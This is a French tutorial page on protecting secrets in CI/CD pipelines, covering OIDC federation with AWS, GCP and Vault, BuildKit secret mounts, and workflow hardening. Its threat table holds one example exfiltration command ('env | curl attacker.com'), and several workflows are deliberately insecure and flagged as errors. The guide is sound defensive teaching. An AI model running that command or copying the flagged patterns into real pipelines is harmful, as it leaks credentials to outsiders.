Aller au contenu
English
Compte : non connecté, synchronisation possible Mon apprentissage
Selectionner le thème
English
Read in English

Sécuriser les secrets dans vos pipelines CI/CD

Par mis à jour le

Améliorer cette page

Un pipeline CI/CD concentre souvent tous les accès critiques : cloud, registry, bases de données, clés de signature. Compromettre un pipeline, c'est compromettre la production. Ce guide explique comment protéger ces secrets, migrer vers des accès temporaires fondés sur l'identité du job, et durcir vos workflows face aux vecteurs d'attaque réels. Deux mesures le guident : un jeton passé en --build-arg reste lisible dans l'image livrée, même après suppression du fichier, et zizmor relève sur un workflow ordinaire des valeurs de secrets que le masquage de GitHub laisse en clair.

  • Identifier les vecteurs d'exfiltration propres à un pipeline CI/CD
  • Configurer les secrets dans GitHub Actions et GitLab CI, au bon niveau de portée
  • Repérer un secret qui fuit dans une image ou dans un workflow, mesures à l'appui
  • Remplacer les secrets longue durée par OIDC, et par Vault pour les secrets applicatifs
  • Durcir les workflows et gérer les cas où OIDC ne suffit pas
  • Ancrer ces pratiques dans les exigences SOCLE-SEC-GEN-3, SOCLE-SEC-GEN-4 et SOCLE-SEC-GEN-5 du référentiel SOCLE

Le hub de gestion des secrets situe ce guide parmi les autres, et la leçon identité machine et workload identity explique le mécanisme sur lequel repose tout ce qui suit : un jeton court émis à la demande, à la place d'un secret statique.

Un pipeline de déploiement a typiquement accès au cluster Kubernetes de production, aux credentials cloud (AWS, GCP, Azure), au registry d'images, aux bases de données pour les migrations et aux clés de signature pour les artefacts. Compromettre le pipeline = compromettre la production.

La pratique encore courante :

# ❌ Token AWS stocké dans les secrets du dépôt
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

Ce token existe souvent depuis des mois, reste utilisable jusqu'à révocation manuelle en cas de compromission, et bénéficie de permissions trop larges "par facilité".

Avant de protéger vos secrets, il faut comprendre comment un attaquant les exfiltre. Les pipelines CI/CD présentent des vecteurs d'attaque spécifiques que les protections classiques ne couvrent pas toujours.

Vecteur d'attaqueScénarioImpact
Workflow / job modifiéUn contributeur modifie un workflow pour exécuter env | curl attacker.com dans un stepExfiltration de tous les secrets injectés dans le job
Dépendance malveillanteUn package npm/pip compromis lit process.env ou os.environ et exfiltre les variablesVol silencieux des tokens, difficile à détecter
Action GitHub / image Docker compromiseUne GitHub Action tierce ou une image Docker utilisée dans le pipeline contient du code malveillantAccès aux secrets du job, à GITHUB_TOKEN, au filesystem
Runner compromis ou mal isoléUn runner self-hosted partagé entre projets, sans isolationUn job malveillant accède aux secrets d'un autre projet via /tmp, le disque, ou les process
Fork + pull_request_targetUn fork soumet une PR qui modifie le workflow et s'exécute avec les secrets du repo cibleExfiltration des secrets de production via une simple PR
Cache / artefact contaminéUn secret finit dans le cache npm, le state Terraform, ou un artefact uploadéPersistance du secret au-delà du job, accessible aux collaborateurs

Les logs et artefacts ne sont pas les seuls endroits où un secret peut fuir :

  • Variables exportées dans des steps intermédiaires ($GITHUB_ENV, export)
  • Fichiers de configuration générés : .npmrc, .pypirc, docker/config.json
  • State Terraform contenant des outputs sensibles en clair
  • Rapports de tests qui incluent des variables d'environnement dans les stack traces
  • Fichiers intermédiaires écrits dans /tmp ou le workspace
  • Couches d'une image Docker construite avec le secret en argument

Le dernier support est le plus trompeur, car il survit au build. Un ARG reçoit le jeton, une instruction RUN l'écrit dans un .npmrc, installe, puis supprime le fichier : l'image semble propre. Mesuré avec Docker 29.1.3 sur un faux jeton, npm_FAUXJETONDEMONSTRATION0123456789 :

# ❌ Le jeton reste dans les métadonnées de l'image
ARG NPM_TOKEN
RUN echo "//registry.npmjs.org/:_authToken=$NPM_TOKEN" > /tmp/.npmrc && npm ci && rm /tmp/.npmrc
docker history --no-trunc : RUN |1 NPM_TOKEN=npm_FAUXJETONDEMONSTRATION0123456789 /bin/sh -c echo …

Le jeton apparaît deux fois dans docker history et une fois dans l'archive produite par docker image save : quiconque peut tirer l'image le lit. La parade est le montage de secret de BuildKit, qui expose le fichier le temps d'une seule instruction sans l'inscrire dans l'image. Mesuré sur la même construction : 0 occurrence dans l'historique, dans docker inspect et dans l'archive.

# Le secret n'existe que pendant ce RUN
RUN --mount=type=secret,id=npm_token \
echo "//registry.npmjs.org/:_authToken=$(cat /run/secrets/npm_token)" > /tmp/.npmrc \
&& npm ci && rm /tmp/.npmrc
Fenêtre de terminal
docker build --secret id=npm_token,env=NPM_TOKEN -t mon-app:1.4.0 .

GitHub Actions propose trois niveaux de secrets avec des portées différentes. Choisir le bon niveau évite de sur-exposer un secret à des workflows qui n'en ont pas besoin.

NiveauAccèsUsage
Repository secretsCe dépôt uniquementSecrets spécifiques à un projet
Environment secretsUn environnement (prod, staging)Avec protection et approbation
Organization secretsTous les dépôts de l'orgSecrets partagés (registry)

Configuration d'un environnement protégé :

  1. Settings → Environments → New environment
  2. Nom : production
  3. Protection rules :
    • Required reviewers (approbation obligatoire)
    • Wait timer (délai avant déploiement)
    • Deployment branches (branches autorisées uniquement)

Utilisation dans le workflow :

jobs:
deploy:
runs-on: ubuntu-latest
environment: production # Secrets de prod + protections activées
steps:
- name: Deploy
env:
DB_PASSWORD: ${{ secrets.DB_PASSWORD }}
run: ./deploy.sh

GitLab CI distingue plusieurs types de variables avec des comportements de sécurité différents. Le masquage empêche l'affichage accidentel dans les logs, sans le protéger contre l'exfiltration (voir le piège 1 plus bas) ; la protection restreint l'accès aux branches protégées.

TypeComportement
VariableVisible dans les logs (éviter pour secrets)
MaskedChaîne exacte remplacée par [MASKED] (contournable par transformation)
ProtectedDisponible uniquement sur branches protégées
FileÉcrit dans un fichier temporaire

Configuration recommandée :

# Settings → CI/CD → Variables
# Type: Variable
# Flags: Protected, Masked
# Environments: production
deploy:
stage: deploy
script:
- echo "Deploying with $DB_PASSWORD" # Affiché comme [MASKED]
rules:
- if: $CI_COMMIT_BRANCH == "main"
environment:
name: production

OIDC (OpenID Connect) permet au pipeline de s'authentifier auprès d'un service cible sans stocker de secret. Le principe repose sur une fédération d'identité :

  1. Le workflow demande un token OIDC

    GitHub/GitLab génère un token JWT signé qui contient des claims identifiant précisément le workflow : repository, branche, environnement, workflow name.

  2. Le workflow présente ce token au service cible

    Le service (AWS STS, GCP, Vault) vérifie la signature du JWT, valide les claims et consulte la politique de confiance (trust policy) configurée.

  3. Le service cible délivre (ou refuse) des credentials temporaires

    Le service vérifie que le token OIDC, ses claims et la trust policy correspondent. Si tout est conforme, il émet des credentials temporaires, d'une durée bornée par la configuration du rôle. Sinon, l'accès est refusé.

Flux OIDC : le pipeline CI/CD présente au service de jetons (AWS STS, GCP) un jeton OIDC signé par GitHub ou GitLab, dont les claims décrivent le dépôt, la branche et l'environnement ; le service vérifie la signature et la trust policy, puis renvoie des credentials temporaires dont la durée est bornée par le rôle ; le pipeline appelle ensuite les ressources cloud, et les credentials expirent automatiquement.RessourcescloudService de jetons(AWS STS, GCP)PipelineCI/CDJWT avec claims : dépôt,branche, environnementVérifie signatureet trust policyLes credentials expirent automatiquementJeton OIDC signé par GitHub ouGitLabCredentials temporaires(durée bornée par le rôle)Appels API (déploiement, push)
Source · SVG
Échap pour fermer, + et − pour zoomer, défilement pour se déplacer. 100 %

Le token OIDC émis par GitHub ou GitLab contient des claims qui identifient précisément le contexte d'exécution. C'est sur ces claims que vous construisez vos règles de confiance côté cloud ou Vault.

Claims GitHub Actions :

ClaimContenuUsage dans la trust policy
subrepo:org/repo:ref:refs/heads/mainLimiter par repo + branche
audsts.amazonaws.comVérifier l'audience cible
repositoryorg/repoFiltrer par dépôt
environmentproductionLimiter à un environnement
refrefs/heads/mainLimiter par branche
workflowdeploy.ymlLimiter à un workflow précis

Claims GitLab CI :

ClaimContenuUsage dans la trust policy
subproject_path:group/project:ref_type:branch:ref:mainLimiter par projet + branche
audAudience configurée dans id_tokensVérifier la cible
namespace_pathgroupFiltrer par groupe
project_pathgroup/projectFiltrer par projet
refmainLimiter par branche
environmentproductionLimiter à un environnement

Configuration AWS :

# 1. Créer l'identity provider OIDC
resource "aws_iam_openid_connect_provider" "github" {
url = "https://token.actions.githubusercontent.com"
client_id_list = ["sts.amazonaws.com"]
# Thumbprint : valeur d'exemple. Vérifiez la valeur actuelle dans
# la documentation AWS au moment de l'implémentation.
thumbprint_list = ["6938fd4d98bab03faadb97b34396831e3780aea1"]
}
# 2. Créer le rôle avec trust policy STRICTE
resource "aws_iam_role" "github_actions" {
name = "github-actions-deploy"
assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Effect = "Allow"
Principal = {
Federated = aws_iam_openid_connect_provider.github.arn
}
Action = "sts:AssumeRoleWithWebIdentity"
Condition = {
StringEquals = {
# Audience : vérifier que le token cible bien AWS
"token.actions.githubusercontent.com:aud" = "sts.amazonaws.com"
# Limiter à un repo + branche + environnement précis
"token.actions.githubusercontent.com:sub" = "repo:myorg/myrepo:environment:production"
}
}
}]
})
}

Workflow GitHub Actions :

name: Deploy
on:
push:
branches: [main]
# Permissions minimales au niveau du workflow
permissions: {}
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
# Permissions au niveau du job uniquement
permissions:
id-token: write # Obligatoire pour OIDC
contents: read
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false # Pas besoin de pousser
- uses: aws-actions/configure-aws-credentials@e6de054238d6b7531b4efff3b6587d9aade6a06c # v6.2.3
with:
role-to-assume: arn:aws:iam::123456789:role/github-actions-deploy
aws-region: eu-west-1
# Pas de AWS_ACCESS_KEY_ID ni AWS_SECRET_ACCESS_KEY !
- run: aws s3 cp ./dist s3://my-bucket/

Avantages :

  • Aucun secret stocké dans le dépôt
  • Credentials temporaires : une heure par défaut avec cette action (role-duration-seconds, lu dans son code v6.2.3), réductible à 15 minutes, le minimum de STS
  • Permissions restreintes au rôle IAM
  • Audit trail complet dans CloudTrail

GitHub Actions + GCP (Workload Identity Federation)

Section intitulée « GitHub Actions + GCP (Workload Identity Federation) »

Sur GCP, la fédération peut être directe (le principal fédéré accède directement aux ressources) ou passer par l'impersonation d'un service account, selon le modèle d'accès choisi. L'impersonation est plus courante car elle permet de réutiliser les permissions IAM existantes.

La configuration côté GCP nécessite :

  1. Un Workload Identity Pool qui regroupe les identités externes
  2. Un Provider dans ce pool qui configure les claims GitHub/GitLab
  3. Un mapping d'attributs qui lie les claims OIDC aux attributs GCP
  4. Un binding IAM entre le principal et un service account (si impersonation)
name: Deploy GCP
on:
push:
branches: [main]
permissions: {}
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
# Authentification via Workload Identity Federation
- uses: google-github-actions/auth@7c6bc770dae815cd3e89ee6cdf493a5fab2cc093 # v3.0.0
with:
workload_identity_provider: projects/123456/locations/global/workloadIdentityPools/github/providers/github
service_account: deploy@myproject.iam.gserviceaccount.com
- uses: google-github-actions/setup-gcloud@aa5489c8933f4cc7a4f7d45035b3b1440c9c10db # v3.0.1
- run: gcloud run deploy my-service --image gcr.io/myproject/app

GitLab utilise les id_tokens (et non les anciens CI_JOB_JWT dépréciés) pour l'authentification OIDC.

resource "aws_iam_openid_connect_provider" "gitlab" {
url = "https://gitlab.com"
client_id_list = ["https://gitlab.com"]
# Thumbprint : valeur d'exemple. Vérifiez la valeur actuelle
# dans la documentation AWS.
thumbprint_list = ["b3dd7606d2b5a8b4a13771dbecc9ee1cecafa38a"]
}
deploy:
stage: deploy
image: amazon/aws-cli:2.36.6@sha256:a9d9b72a496fd434172bef0a1cac0bf3812986184f9d3b3cbff65d6999e7c4f8
id_tokens:
AWS_TOKEN:
aud: https://gitlab.com
script:
- >
export $(printf "AWS_ACCESS_KEY_ID=%s AWS_SECRET_ACCESS_KEY=%s AWS_SESSION_TOKEN=%s"
$(aws sts assume-role-with-web-identity
--role-arn arn:aws:iam::123456789:role/gitlab-deploy
--role-session-name gitlab-ci-$CI_PIPELINE_ID
--web-identity-token $AWS_TOKEN
--duration-seconds 900
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken]'
--output text))
- aws s3 cp ./dist s3://my-bucket/
environment:
name: production

Quelques spécificités GitLab à connaître :

  • id_tokens vs CI_JOB_JWT : id_tokens est la méthode actuelle. Les anciens CI_JOB_JWT sont dépréciés et ne doivent plus être utilisés.
  • Filtrage des claims côté AWS/Vault : utilisez les claims project_path, ref, namespace_path et environment dans vos trust policies pour restreindre l'accès.
  • GitLab.com vs self-managed : sur une instance self-managed, l'URL de l'issuer OIDC est celle de votre instance (https://gitlab.example.com). La configuration du provider cloud doit pointer vers cette URL.
  • Intégration Vault native : GitLab propose une intégration directe avec HashiCorp Vault via id_tokens, sans avoir besoin de passer par un script shell.

OIDC ne sert pas qu'à accéder au cloud. Un cas d'usage majeur est la récupération de secrets depuis HashiCorp Vault, sans stocker de credentials dans le CI.

Configuration Vault :

Fenêtre de terminal
# 1. Activer l'auth method JWT
vault auth enable jwt
# 2. Configurer le provider GitHub OIDC
vault write auth/jwt/config \
bound_issuer="https://token.actions.githubusercontent.com" \
oidc_discovery_url="https://token.actions.githubusercontent.com"
# 3. Créer un rôle avec trust policy
vault write auth/jwt/role/github-deploy \
bound_audiences="https://github.com/myorg" \
bound_claims_type="glob" \
bound_claims='{"sub": "repo:myorg/myrepo:ref:refs/heads/main"}' \
user_claim="repository_owner" \
role_type="jwt" \
policies="deploy-policy" \
token_ttl="10m"

Workflow GitHub Actions :

name: Deploy with Vault
on:
push:
branches: [main]
permissions: {}
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: hashicorp/vault-action@892a26828f195e65540a40b4768ae4571f51ebfc # v4.0.0
id: vault # sans id, steps.vault.outputs est vide
with:
url: https://vault.example.com
method: jwt
role: github-deploy
jwtGithubAudience: https://github.com/myorg
secrets: |
secret/data/deploy db_password | DB_PASSWORD ;
secret/data/deploy api_key | API_KEY
- run: ./deploy.sh
env:
DB_PASSWORD: ${{ steps.vault.outputs.DB_PASSWORD }}

GitLab propose une intégration native avec Vault via id_tokens :

deploy:
stage: deploy
id_tokens:
VAULT_ID_TOKEN:
aud: https://vault.example.com
secrets:
DB_PASSWORD:
vault: deploy/db_password@secret
token: $VAULT_ID_TOKEN
script:
- echo "Password is masked: $DB_PASSWORD"
environment:
name: production

La syntaxe secrets: de GitLab récupère directement les secrets depuis Vault et les injecte comme variables masquées. Aucun script shell nécessaire.

Ordre de préférence pour la gestion des secrets CI/CD

Section intitulée « Ordre de préférence pour la gestion des secrets CI/CD »

Comment choisir entre les approches, du plus sûr au moins sûr :

PrioritéMéthodeQuand l'utiliser
1OIDC / fédération d'identitéCloud (AWS, GCP, Azure), Vault, tout service compatible JWT
2Secret dynamique via VaultBase de données, credentials à courte durée de vie
3Secret statique protégé dans le CIAPI tierce à clé fixe, service legacy non fédérable
4Secret dans le code ou le dépôtJamais

OIDC couvre les clouds majeurs et Vault, mais certains cas imposent encore un secret stocké :

CasPourquoi OIDC ne marche pasSolution
API SaaS à clé fixeLe fournisseur n'implémente pas OIDC/JWTSecret statique dans un environment protégé, rotation planifiée
Système legacy on-premPas de trust federation prêtePasser par Vault comme intermédiaire (le CI obtient le secret depuis Vault via OIDC)
Outil sans support OIDCClient CLI ou SDK non compatibleSecret court avec scoping strict (un secret par usage)
Infra sans accès réseauLe pipeline ne peut pas atteindre le provider OIDCSecret statique avec rotation automatisée

Dans ces cas, gérez le secret statique au mieux :

  • Un secret par usage : pas de "master key" partagée entre jobs
  • Rotation planifiée : au moins tous les 90 jours
  • Environnement protégé : secret disponible sur les seules branches protégées
  • Durée de vie courte si possible

Ne déclarez aucune permission au niveau du workflow et ajoutez uniquement ce qui est nécessaire au niveau de chaque job :

# ✅ Permissions nulles par défaut
permissions: {}
jobs:
build:
permissions:
contents: read # Checkout uniquement
# ...
deploy:
permissions:
id-token: write # OIDC
contents: read
# ...

Un job qui n'a besoin que de lire le code ne doit pas hériter d'un id-token: write global.

Les tags (@v4) sont mutables : un mainteneur compromis peut republier un tag avec du code malveillant, comme l'a démontré la leçon sur la confiance implicite. Épinglez par SHA de commit :

# ❌ Tag mutable
- uses: actions/checkout@v4
# SHA de commit immuable, version en commentaire
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1

Par défaut, actions/checkout persiste un token Git dans le workspace. Si votre job n'a pas besoin de pousser dans le dépôt, désactivez-le :

- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false

Si vous utilisez des runners self-hosted :

  • Un runner par niveau de confiance : ne mélangez pas les jobs de build (code non vérifié) et de deploy (accès prod)
  • Runners éphémères : détruisez le runner après chaque job pour éviter la persistance de secrets sur le disque
  • Pas de partage de workspace entre projets

Piège 1 : croire que le masquage protège les secrets

Section intitulée « Piège 1 : croire que le masquage protège les secrets »

Le masquage (::add-mask:: sur GitHub Actions, variable masked sur GitLab) remplace la chaîne littérale du secret par *** dans les logs. Il évite un affichage accidentel, et rien de plus.

# Masqué : GitHub remplace la chaîne exacte du secret par ***
- run: echo "Connexion avec $DB_PASSWORD"

Cette ligne ne fuit pas, et c'est précisément ce qui donne une fausse impression de sécurité : la moindre transformation suffit à défaire le masque.

GitHub masque déjà automatiquement chaque secret référencé par ${{ secrets.NOM }}. La commande ::add-mask:: sert aux valeurs dérivées, qu'aucun secret ne déclare, comme un jeton obtenu pendant le job. On la passe par une variable d'environnement, jamais par une expression dans run: :

- name: Masquer un jeton obtenu à l'exécution
run: |
TOKEN=$(./obtenir-jeton.sh)
echo "::add-mask::$TOKEN"

zizmor a des audits dédiés aux secrets, et l'un d'eux vise exactement le piège du masquage. Le workflow ci-dessous reprend quatre erreurs courantes : tous les secrets exposés d'un coup, un secret JSON découpé avec fromJSON, un workflow appelé qui hérite de tous les secrets, et le dossier de travail envoyé en artefact.

.github/workflows/deploy.yml
# ❌ Workflow qui reprend les erreurs courantes sur les secrets
jobs:
deploy:
runs-on: ubuntu-24.04
environment: production
permissions:
contents: read
env:
TOUS_LES_SECRETS: ${{ toJSON(secrets) }}
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- name: Connexion à la base
env:
DB_USER: ${{ fromJSON(secrets.DB_CREDS).user }}
DB_PASS: ${{ fromJSON(secrets.DB_CREDS).password }}
run: ./connect.sh
- uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
with:
name: workspace
path: .
release:
uses: ./.github/workflows/release.yml
secrets: inherit

Mesuré avec zizmor 1.30.0 : code de sortie 14 et un constat par erreur.

Constat zizmorLigne viséePourquoi c'est une fuite
unredacted-secrets (x2)fromJSON(secrets.DB_CREDS).passwordGitHub masque la valeur entière du secret, pas un champ extrait : le mot de passe peut s'afficher en clair
overprovisioned-secretstoJSON(secrets)Le job reçoit tous les secrets du dépôt, y compris ceux dont il n'a pas besoin
secrets-inheritsecrets: inheritLe workflow appelé hérite de tous les secrets, sans liste explicite
artipackedactions/checkout, puis path: .Le jeton Git persisté dans .git/config part dans l'artefact

La correction suit chaque ligne : un secret par valeur plutôt qu'un JSON à découper, des env: qui ne nomment que les secrets utiles, une liste secrets: explicite pour le workflow appelé, persist-credentials: false et un chemin d'artefact limité au livrable.

Piège 2 : exécution du code d'un fork avec les secrets du repo

Section intitulée « Piège 2 : exécution du code d'un fork avec les secrets du repo »

Par défaut, les secrets ne sont pas transmis aux workflows des forks. Le danger survient avec pull_request_target quand le workflow exécute du code issu de la PR tout en bénéficiant des secrets du repo cible.

# ⚠️ Dangereux si le workflow checkout le code de la PR
on: pull_request_target
# ✅ Plus sûr : exécute le code du repo cible, pas de secrets exposés aux forks
on: pull_request

pull_request_target n'est pas dangereux en soi, mais il le devient si le workflow fait un checkout du head de la PR (github.event.pull_request.head.ref) puis exécute ce code dans un contexte qui a accès aux secrets.

# ❌ Token admin avec tous les droits
env:
GITHUB_TOKEN: ${{ secrets.ADMIN_PAT }}

Solution : utiliser le GITHUB_TOKEN automatique avec permissions minimales.

permissions:
contents: read
packages: write # Seulement ce qui est nécessaire
# ❌ Le fichier .env ou docker/config.json est uploadé
- uses: actions/upload-artifact@v4
with:
name: build
path: ./dist/

Solution : exclure explicitement les fichiers sensibles.

- uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
with:
name: build
path: |
./dist/
!./dist/.env
!./dist/**/*.key
!./dist/docker/config.json

Même logique pour le cache : ne jamais cacher ~/.docker, ~/.aws, ou un répertoire contenant des .npmrc avec tokens.

  1. Inventaire des secrets CI/CD

    Listez tous les tokens longue durée stockés dans vos dépôts et environnements CI.

  2. Prioriser par criticité

    Commencez par les credentials cloud (AWS, GCP, Azure), puis les accès Vault.

  3. Configurer l'identity provider

    Créez le provider OIDC côté cloud ou Vault. Vérifiez les thumbprints dans la documentation officielle du moment.

  4. Créer les rôles avec trust policy stricte

    Limitez systématiquement par repo, branche, et environnement. Évitez les wildcards.

  5. Migrer les workflows

    Remplacez les secrets par l'authentification OIDC. Ajoutez permissions: {} au niveau workflow, les permissions minimales au niveau job.

  6. Supprimer et révoquer les anciens secrets

    Révoquez les access keys devenues inutiles. Ne les laissez pas en parallèle.

La plupart des échecs d'une migration vers OIDC viennent d'un écart entre le jeton émis et ce que la trust policy attend : un claim sub différent, une audience inattendue, une permission id-token oubliée. Partez du message d'erreur exact, puis comparez le claim reçu à la condition écrite.

SymptômeCause probableSolution
Not authorized to perform sts:AssumeRoleWithWebIdentityTrust policy trop restrictive ou claim sub incorrectComparer le sub du JWT avec la condition dans la trust policy. Activer CloudTrail pour voir le claim reçu
Error: No subject claim foundpermissions: id-token: write manquantAjouter la permission au niveau du job
Audience in token does not matchAudience (aud) configurée différente de celle attendueVérifier client_id_list côté AWS et aud dans le workflow GitLab
Unable to verify thumbprintThumbprint AWS obsolète ou incorrectRecalculer avec openssl ou consulter la doc AWS. Pour GitHub, AWS gère maintenant la vérification via la bibliothèque de certificats
The requested scope is invalid (GCP)Mapping d'attributs incorrect dans le Workload Identity PoolVérifier le mapping attribute.repository / assertion.repository dans le provider
Vault login failedRôle JWT mal configuré ou bound_claims incorrectVérifier les claims avec vault write auth/jwt/login role=... jwt=$TOKEN en debug
Secret affiché [MASKED] mais tronquéGitLab ne masque que les valeurs ≥ 8 caractèresUtiliser un secret suffisamment long
  • Les pipelines sont des cibles privilégiées, ils concentrent les accès à la production, au cloud et aux registries.
  • OIDC est une fédération d'identité, pas une permission directe, c'est la trust policy côté serveur qui décide des accès accordés.
  • Restreignez les claims dans vos trust policies : repo, branche, environnement. Évitez les wildcards larges.
  • Vault complète OIDC pour les secrets applicatifs (mots de passe, clés API) qui ne relèvent pas du cloud.
  • Le masquage n'est pas une protection : il ne couvre ni un champ extrait par fromJSON, ni une valeur transformée ; un secret se tient hors des artefacts, des caches et des couches d'image.
  • Un jeton passé en --build-arg reste lisible dans l'image : mesuré, deux occurrences dans docker history ; --mount=type=secret n'en laisse aucune.
  • Quand OIDC n'est pas possible, gérez le secret statique avec rotation, scoping et environment protégé.
  • Durcissez les workflows : permissions {} par défaut, pinning SHA, persist-credentials: false, runners isolés.
  • Preuve attendue par SOCLE-SEC-GEN-3 et GEN-5 : des accès aux secrets scopés par environnement et tracés, et des identités OIDC à la place des secrets longue durée.

Vérifiez que l'essentiel de ce guide est acquis. Les questions portent uniquement sur ce qui vient d'être expliqué ici.

Contrôle de connaissances

Validez vos connaissances avec ce quiz interactif

6 questions
6 min.
70% requis

Informations

  • Le chronomètre démarre au clic sur Démarrer
  • Questions à choix multiples, vrai/faux et réponses courtes
  • Vous pouvez naviguer entre les questions
  • Les résultats détaillés sont affichés à la fin

Lance le quiz et démarre le chronomètre

Ce projet vous est utile ?

Les guides, formations, quiz et labs restent gratuits. Si vous les utilisez régulièrement, vous pouvez contribuer à leur maintenance et à leur développement.

Devenir membre de soutien (nouvel onglet) Soutenir une fois (nouvel onglet) En savoir plus

Suivez aussi le projet sur LinkedIn